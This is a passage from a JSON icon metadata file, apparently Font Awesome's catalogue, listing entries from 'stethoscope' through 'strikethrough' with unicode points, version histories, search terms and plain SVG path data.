        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v44.5c0 17.4-4.7 34.5-13.7 49.4L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1C104.1 390 112 361.5 112 332.5V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v44.5c0 17.4-4.7 34.5-13.7 49.4L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1C104.1 390 112 361.5 112 332.5V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z"
      }
    },
    "free": ["solid"]
  },
  "stethoscope": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa7a"],
        "secondary": ["10f0f1"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "diagnosis",
        "doctor",
        "general practitioner",
        "heart",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient",
        "stethoscope"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f1",
    "label": "Stethoscope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M142.4 21.9c5.6 16.8-3.5 34.9-20.2 40.5L96 71.1V192c0 53 43 96 96 96s96-43 96-96V71.1l-26.1-8.7c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l26.1 8.7C334.4 19.1 352 43.5 352 71.1V192c0 77.2-54.6 141.6-127.3 156.7C231 404.6 278.4 448 336 448c61.9 0 112-50.1 112-112V265.3c-28.3-12.3-48-40.5-48-73.3c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V336c0 97.2-78.8 176-176 176c-92.9 0-168.9-71.9-175.5-163.1C87.2 334.2 32 269.6 32 192V71.1c0-27.5 17.6-52 43.8-60.7l26.1-8.7c16.8-5.6 34.9 3.5 40.5 20.2zM480 224a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M142.4 21.9c5.6 16.8-3.5 34.9-20.2 40.5L96 71.1V192c0 53 43 96 96 96s96-43 96-96V71.1l-26.1-8.7c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l26.1 8.7C334.4 19.1 352 43.5 352 71.1V192c0 77.2-54.6 141.6-127.3 156.7C231 404.6 278.4 448 336 448c61.9 0 112-50.1 112-112V265.3c-28.3-12.3-48-40.5-48-73.3c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V336c0 97.2-78.8 176-176 176c-92.9 0-168.9-71.9-175.5-163.1C87.2 334.2 32 269.6 32 192V71.1c0-27.5 17.6-52 43.8-60.7l26.1-8.7c16.8-5.6 34.9 3.5 40.5 20.2zM480 224a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "sticker-mule": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f7",
    "label": "Sticker Mule",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"
      }
    },
    "free": ["brands"]
  },
  "stop": {
    "aliases": {
      "unicodes": {
        "composite": ["23f9"],
        "secondary": ["10f04d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["block", "box", "square", "stop", "stop button"]
    },
    "styles": ["solid"],
    "unicode": "f04d",
    "label": "Stop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z"
      }
    },
    "free": ["solid"]
  },
  "stopwatch": {
    "aliases": {
      "unicodes": {
        "composite": ["23f1"],
        "secondary": ["10f2f2"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clock", "reminder", "stopwatch", "time"]
    },
    "styles": ["solid"],
    "unicode": "f2f2",
    "label": "Stopwatch",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H224 176zm72 192V320c0 13.3-10.7 24-24 24s-24-10.7-24-24V192c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H224 176zm72 192V320c0 13.3-10.7 24-24 24s-24-10.7-24-24V192c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "stopwatch-20": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06f"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "ABCs",
        "countdown",
        "covid-19",
        "happy birthday",
        "i will survive",
        "reminder",
        "seconds",
        "time",
        "timer"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06f",
    "label": "Stopwatch 20",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H176zM288 204c28.7 0 52 23.3 52 52v96c0 28.7-23.3 52-52 52s-52-23.3-52-52V256c0-28.7 23.3-52 52-52zm-12 52v96c0 6.6 5.4 12 12 12s12-5.4 12-12V256c0-6.6-5.4-12-12-12s-12 5.4-12 12zM159.5 244c-5.4 0-10.2 3.5-11.9 8.6l-.6 1.7c-3.5 10.5-14.8 16.1-25.3 12.6s-16.1-14.8-12.6-25.3l.6-1.7c7.2-21.5 27.2-35.9 49.8-35.9c29 0 52.5 23.5 52.5 52.5v2.2c0 13.4-4.9 26.4-13.8 36.4l-39 43.9c-6.2 7-10 15.7-10.9 24.9H192c11 0 20 9 20 20s-9 20-20 20H128c-11 0-20-9-20-20V368.3c0-20.6 7.5-40.4 21.2-55.8l39-43.9c2.4-2.7 3.7-6.2 3.7-9.8v-2.2c0-6.9-5.6-12.5-12.5-12.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M176 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h16V98.4C92.3 113.8 16 200 16 304c0 114.9 93.1 208 208 208s208-93.1 208-208c0-41.8-12.3-80.7-33.5-113.2l24.1-24.1c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L355.7 143c-28.1-23-62.2-38.8-99.7-44.6V64h16c17.7 0 32-14.3 32-32s-14.3-32-32-32H176zM288 204c28.7 0 52 23.3 52 52v96c0 28.7-23.3 52-52 52s-52-23.3-52-52V256c0-28.7 23.3-52 52-52zm-12 52v96c0 6.6 5.4 12 12 12s12-5.4 12-12V256c0-6.6-5.4-12-12-12s-12 5.4-12 12zM159.5 244c-5.4 0-10.2 3.5-11.9 8.6l-.6 1.7c-3.5 10.5-14.8 16.1-25.3 12.6s-16.1-14.8-12.6-25.3l.6-1.7c7.2-21.5 27.2-35.9 49.8-35.9c29 0 52.5 23.5 52.5 52.5v2.2c0 13.4-4.9 26.4-13.8 36.4l-39 43.9c-6.2 7-10 15.7-10.9 24.9H192c11 0 20 9 20 20s-9 20-20 20H128c-11 0-20-9-20-20V368.3c0-20.6 7.5-40.4 21.2-55.8l39-43.9c2.4-2.7 3.7-6.2 3.7-9.8v-2.2c0-6.9-5.6-12.5-12.5-12.5z"
      }
    },
    "free": ["solid"]
  },
  "store": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f54e"]
      }
    },
    "changes": [
      "5.0.13",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bodega",
        "building",
        "buy",
        "market",
        "purchase",
        "shopping",
        "store"
      ]
    },
    "styles": ["solid"],
    "unicode": "f54e",
    "label": "Store",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M547.6 103.8L490.3 13.1C485.2 5 476.1 0 466.4 0H109.6C99.9 0 90.8 5 85.7 13.1L28.3 103.8c-29.6 46.8-3.4 111.9 51.9 119.4c4 .5 8.1 .8 12.1 .8c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4zM499.7 254.9l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V384H128V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V384 252.6c-4 1-8 1.8-12.3 2.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M547.6 103.8L490.3 13.1C485.2 5 476.1 0 466.4 0H109.6C99.9 0 90.8 5 85.7 13.1L28.3 103.8c-29.6 46.8-3.4 111.9 51.9 119.4c4 .5 8.1 .8 12.1 .8c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.1 0 49.3-11.4 65.2-29c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4zM499.7 254.9l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V384H128V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V384 252.6c-4 1-8 1.8-12.3 2.3z"
      }
    },
    "free": ["solid"]
  },
  "store-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e071"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "buy", "closed", "covid-19", "purchase", "shopping"]
    },
    "styles": ["solid"],
    "unicode": "e071",
    "label": "Store Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.8-68V384 252.6c-4 1-8 1.8-12.3 2.3l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V350.9L301.2 210.7c7-4.4 13.3-9.7 18.8-15.7c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4L522.3 13.1C517.2 5 508.1 0 498.4 0H141.6c-9.7 0-18.8 5-23.9 13.1l-22.7 36L38.8 5.1zm73.4 218.1c4 .5 8.1 .8 12.1 .8c11 0 21.4-2 31-5.6L48.9 134.5c-6.1 40.6 19.5 82.8 63.3 88.7zM160 384V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H480c12.9 0 24.8-3.8 34.9-10.3L365.5 384H160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-86.8-68V384 252.6c-4 1-8 1.8-12.3 2.3l-.1 0c-5.3 .7-10.7 1.1-16.2 1.1c-12.4 0-24.3-1.9-35.4-5.3V350.9L301.2 210.7c7-4.4 13.3-9.7 18.8-15.7c15.9 17.6 39.1 29 65.2 29c26.2 0 49.3-11.4 65.2-29c16 17.6 39.1 29 65.2 29c4.1 0 8.1-.3 12.1-.8c55.5-7.4 81.8-72.5 52.1-119.4L522.3 13.1C517.2 5 508.1 0 498.4 0H141.6c-9.7 0-18.8 5-23.9 13.1l-22.7 36L38.8 5.1zm73.4 218.1c4 .5 8.1 .8 12.1 .8c11 0 21.4-2 31-5.6L48.9 134.5c-6.1 40.6 19.5 82.8 63.3 88.7zM160 384V250.6c-11.2 3.5-23.2 5.4-35.6 5.4c-5.5 0-11-.4-16.3-1.1l-.1 0c-4.1-.6-8.1-1.3-12-2.3V384v64c0 35.3 28.7 64 64 64H480c12.9 0 24.8-3.8 34.9-10.3L365.5 384H160z"
      }
    },
    "free": ["solid"]
  },
  "strava": {
    "changes": ["5.0.0", "5.0.1", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f428",
    "label": "Strava",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M158.4 0L7 292h89.2l62.2-116.1L220.1 292h88.5zm150.2 292l-43.9 88.2-44.6-88.2h-67.6l112.2 220 111.5-220z"
      }
    },
    "free": ["brands"]
  },
  "street-view": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f21d"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "location", "map", "navigation"]
    },
    "styles": ["solid"],
    "unicode": "f21d",
    "label": "Street View",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 64A64 64 0 1 0 192 64a64 64 0 1 0 128 0zm-96 96c-35.3 0-64 28.7-64 64v48c0 17.7 14.3 32 32 32h1.8l11.1 99.5c1.8 16.2 15.5 28.5 31.8 28.5h38.7c16.3 0 30-12.3 31.8-28.5L318.2 304H320c17.7 0 32-14.3 32-32V224c0-35.3-28.7-64-64-64H224zM132.3 394.2c13-2.4 21.7-14.9 19.3-27.9s-14.9-21.7-27.9-19.3c-32.4 5.9-60.9 14.2-82 24.8c-10.5 5.3-20.3 11.7-27.8 19.6C6.4 399.5 0 410.5 0 424c0 21.4 15.5 36.1 29.1 45c14.7 9.6 34.3 17.3 56.4 23.4C130.2 504.7 190.4 512 256 512s125.8-7.3 170.4-19.6c22.1-6.1 41.8-13.8 56.4-23.4c13.7-8.9 29.1-23.6 29.1-45c0-13.5-6.4-24.5-14-32.6c-7.5-7.9-17.3-14.3-27.8-19.6c-21-10.6-49.5-18.9-82-24.8c-13-2.4-25.5 6.3-27.9 19.3s6.3 25.5 19.3 27.9c30.2 5.5 53.7 12.8 69 20.5c3.2 1.6 5.8 3.1 7.9 4.5c3.6 2.4 3.6 7.2 0 9.6c-8.8 5.7-23.1 11.8-43 17.3C374.3 457 318.5 464 256 464s-118.3-7-157.7-17.9c-19.9-5.5-34.2-11.6-43-17.3c-3.6-2.4-3.6-7.2 0-9.6c2.1-1.4 4.8-2.9 7.9-4.5c15.3-7.7 38.8-14.9 69-20.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M320 64A64 64 0 1 0 192 64a64 64 0 1 0 128 0zm-96 96c-35.3 0-64 28.7-64 64v48c0 17.7 14.3 32 32 32h1.8l11.1 99.5c1.8 16.2 15.5 28.5 31.8 28.5h38.7c16.3 0 30-12.3 31.8-28.5L318.2 304H320c17.7 0 32-14.3 32-32V224c0-35.3-28.7-64-64-64H224zM132.3 394.2c13-2.4 21.7-14.9 19.3-27.9s-14.9-21.7-27.9-19.3c-32.4 5.9-60.9 14.2-82 24.8c-10.5 5.3-20.3 11.7-27.8 19.6C6.4 399.5 0 410.5 0 424c0 21.4 15.5 36.1 29.1 45c14.7 9.6 34.3 17.3 56.4 23.4C130.2 504.7 190.4 512 256 512s125.8-7.3 170.4-19.6c22.1-6.1 41.8-13.8 56.4-23.4c13.7-8.9 29.1-23.6 29.1-45c0-13.5-6.4-24.5-14-32.6c-7.5-7.9-17.3-14.3-27.8-19.6c-21-10.6-49.5-18.9-82-24.8c-13-2.4-25.5 6.3-27.9 19.3s6.3 25.5 19.3 27.9c30.2 5.5 53.7 12.8 69 20.5c3.2 1.6 5.8 3.1 7.9 4.5c3.6 2.4 3.6 7.2 0 9.6c-8.8 5.7-23.1 11.8-43 17.3C374.3 457 318.5 464 256 464s-118.3-7-157.7-17.9c-19.9-5.5-34.2-11.6-43-17.3c-3.6-2.4-3.6-7.2 0-9.6c2.1-1.4 4.8-2.9 7.9-4.5c15.3-7.7 38.8-14.9 69-20.5z"
      }
    },
    "free": ["solid"]
  },
  "strikethrough": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0cc"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f0cc",
    "label": "Strikethrough",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M161.3 144c3.2-17.2 14-30.1 33.7-38.6c21.1-9 51.8-12.3 88.6-6.5c11.9 1.9 48.8 9.1 60.1 12c17.1 4.5 34.6-5.6 39.2-22.7s-5.6-34.6-22.7-39.2c-14.3-3.8-53.6-11.4-66.6-13.4c-44.7-7-88.3-4.2-123.7 10.9c-36.5 15.6-64.4 44.8-71.8 87.3c-.1 .6-.2 1.1-.2 1.7c-2.8 23.9 .5 45.6 10.1 64.6c4.5 9 10.2 16.9 16.7 23.9H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H270.1c-.1 0-.3-.1-.4-.1l-1.1-.3c-36-10.8-65.2-19.6-85.2-33.1c-9.3-6.3-15-12.6-18.2-19.1c-3.1-6.1-5.2-14.6-3.8-27.4zM348.9 337.2c2.7 6.5 4.4 15.8 1.9 30.1c-3 17.6-13.8 30.8-33.9 39.4c-21.1 9-51.7 12.3-88.5 6.5c-18-2.9-49.1-13.5-74.4-22.1c-5.6-1.9-11-3.7-15.9-5.4c-16.8-5.6-34.9 3.5-40.5 20.3s3.5 34.9 20.3 40.5c3.6 1.2 7.9 2.7 12.7 4.3l0 0 0 0c24.9 8.5 63.6 21.7 87.6 25.6l0 0 .2 0c44.7 7 88.3 4.2 123.7-10.9c36.5-15.6 64.4-44.8 71.8-87.3c3.6-21 2.7-40.4-3.1-58.1H335.1c7 5.6 11.4 11.2 13.9 17.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
